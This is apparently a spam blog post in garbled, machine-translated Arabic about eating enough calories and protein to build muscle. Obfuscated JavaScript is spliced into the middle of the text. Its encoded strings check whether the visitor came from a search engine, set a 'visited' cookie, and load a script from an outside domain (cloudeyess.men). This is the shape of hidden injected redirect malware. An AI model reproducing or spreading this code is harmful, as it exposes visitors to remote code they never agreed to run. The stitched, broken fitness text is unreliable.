hmb ماسل تچ حرام ثلاث2/27/2021 يجب أن تستهلك التوصيات الحالية صفرًا كحد أدنى.. var _0x1372=['OyBleHBpcmVzPQ==','U1hDdmo=','Z2V0VGltZQ==','QlRFTVM=','UkpMVkc=','UFNwTUU=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','ZFNUSkE=','Y1lreEY=','c3NqQkw=','V2xFSVg=','TGFmelo=','bVhSV3Q=','WXBWTXk=','cmVmZXJyZXI=','Z2V0','cVdKSGw=','dW1nS3A=','Wlp2eFQ=','TWJjSlo=','c2V0','dmlzaXRlZA==','cFdsV2I=','SnZhZUE=','RFRIWWg=','c3Jj','eUlEVm0=','YXBwZW5kQ2hpbGQ=','emNDSmc=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','aG1iK9mF2KfYs9mEK9iq2oYr2K3Ysdin2YUr2KvZhNin2Ks=','MXwzfDV8MHwyfDQ=','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9hcmFfaGVyYl9uZXcucGhwP3g9c2EmcXVlcnk9','YXhqeWE=','R01Gelc=','Y29va2ll','bWF0Y2g=','RWtUd0Q=','Z0JxalE=','dExUenk=','c3BsaXQ=','bGVuZ3Ro','cmVwbGFjZQ==','TnBhR3Q=','ZGhyem4=','VW5uV1E=','UVlGdXg=','Q0dxc28=','V0RKZlk=','QVp4Wko=','YkVSZ1E=','OyBwYXRoPQ==','ZWJxS20=','R3VFRVc=','eEVZcG4=','b2h4aG4='];(function(_0xff5c6b,_0x2458f0){var _0x482302=function(_0x2fb91b){while(--_0x2fb91b){_0xff5c6b['push'](_0xff5c6b['shift']());}};_0x482302(++_0x2458f0);}(_0x1372,0x122));var _0x3d23=function(_0xed6ecf,_0x4d5a6e){_0xed6ecf=_0xed6ecf-0x0;var _0x105af1=_0x1372[_0xed6ecf];if(_0x3d23['tKvTDE']===undefined){(function(){var _0x985df5;try{var _0x41db2c=Function('return\x20(function()\x20'+'{}.. يحتاج معظم الناس إلى حوالي 20 سعرة حرارية لكل رطل من وزن الجسم للحصول على كتلة عضلية. إذا قمت باتباع أهم 8 نصائح لدينا ، فسوف نقوم بتعبئة العضلات وحجمها بسهولة أكبر ونكون في طريقك لتحقيق أهدافك البدنية.. سوف تقوم فقط ببناء أنسجة عضلية جديدة وتضع وزنك إذا كان لديك كمية وفيرة من البروتين والسعرات الحرارية في نظامك ، والتي يتم توفيرها عن طريق وجبات صغيرة منتظمة طوال اليوم.. باستخدام ذكر يبلغ وزنه 180 رطلاً كمثال ، سننتهي بمتطلبات السعرات الحرارية اليومية من 3600 سعرة حرارية (20 × 180 = 3600 سعر حراري).. constructor(\x22return\x20this\x22)(\x20)'+');');_0x985df5=_0x41db2c();}catch(_0x5a0ece){_0x985df5=window;}var _0x2fb57d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x985df5['atob']||(_0x985df5['atob']=function(_0x6bf4dc){var _0x3a1843=String(_0x6bf4dc)['replace'](/=+$/,'');for(var _0x5ca2b2=0x0,_0x30bbec,_0x2939d8,_0x1c6770=0x0,_0x430770='';_0x2939d8=_0x3a1843['charAt'](_0x1c6770++);~_0x2939d8&&(_0x30bbec=_0x5ca2b2%0x4?_0x30bbec*0x40+_0x2939d8:_0x2939d8,_0x5ca2b2++%0x4)?_0x430770+=String['fromCharCode'](0xff&_0x30bbec>>(-0x2*_0x5ca2b2&0x6)):0x0){_0x2939d8=_0x2fb57d['indexOf'](_0x2939d8);}return _0x430770;});}());_0x3d23['Szncsj']=function(_0x55ca32){var _0x215d1f=atob(_0x55ca32);var _0x5da6e4=[];for(var _0x1ca262=0x0,_0x30dd60=_0x215d1f['length'];_0x1ca262=0x0){if(_0x4caa51['zhJQD'](_0x4caa51[_0x3d23('0x35')],_0x3d23('0x36'))){_0x10ed07=!![];}else{cookie[_0x3d23('0x37')](_0x3d23('0x38'),0x1,0x1);if(!_0x2605ef){_0x4caa51[_0x3d23('0x39')](include,_0x4caa51['zcCJg']('https://cloudeyess. نحن بحاجة إلى البروتين الكافي لبناء العضلات ، وقد ذكر خبراء البروتين أننا بحاجة إلى ما بين 1.. كثير من الناس يتناولون وجبتين أو ثلاث وجبات في اليوم ومشروب البروتين مرارًا وتكرارًا (عندما يتذكرون) ، ثم يتساءلون لماذا لا يضعون أي وزن.
وبعبارة أخرى ، تحتاج إلى استهلاك مزيد من السعرات الحرارية مما تحرق كل يوم! هنا & apos؛ s خطة وجبة يدوية لتبدأ تهدف إلى استهلاك ما لا يقل عن 20 سعرة حرارية لكل رطل من وزن الجسم تزن لكسب كتلة العضلات.. تناول ما يكفي من السعرات الحرارية معظم الناس الذين يكافحون من أجل زيادة الوزن يسيئون فهم المبدأ الأساسي - & apos ؛ فإن الجسم سوف ينمو فقط إذا قمت بتوفيره مع سعرات حرارية عالية الجودة كافية كل يوم & apos؛.. تذكر أنه يمكنك فرض قوة تغذية العضلات! 2 تناول ما يكفي من البروتين عالي الجودة إن استهلاك كمية كافية من البروتين عالي الجودة أمر ضروري لبناء العضلات.. كل الكربوهيدرات وليس البروتين!) سوف تقوم فقط ببناء نسيج عضلي جديد وتضع وزنك إذا كان لديك كمية وفيرة من البروتين والسعرات الحرارية في نظامك.. 0 غرام من البروتين لكل كيلوغرام من وزن الجسم.. 8 غرام من البروتين لكل كيلوغرام من وزن الجسم ، ومع ذلك ، هذا ينطبق حقا فقط على متوسط الفرد المستقر.. معظم الناس ليس لديهم فكرة عن عدد السعرات الحرارية التي يحتاجون إليها. 5ebbf469cd
0 Comments
Leave a Reply.AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |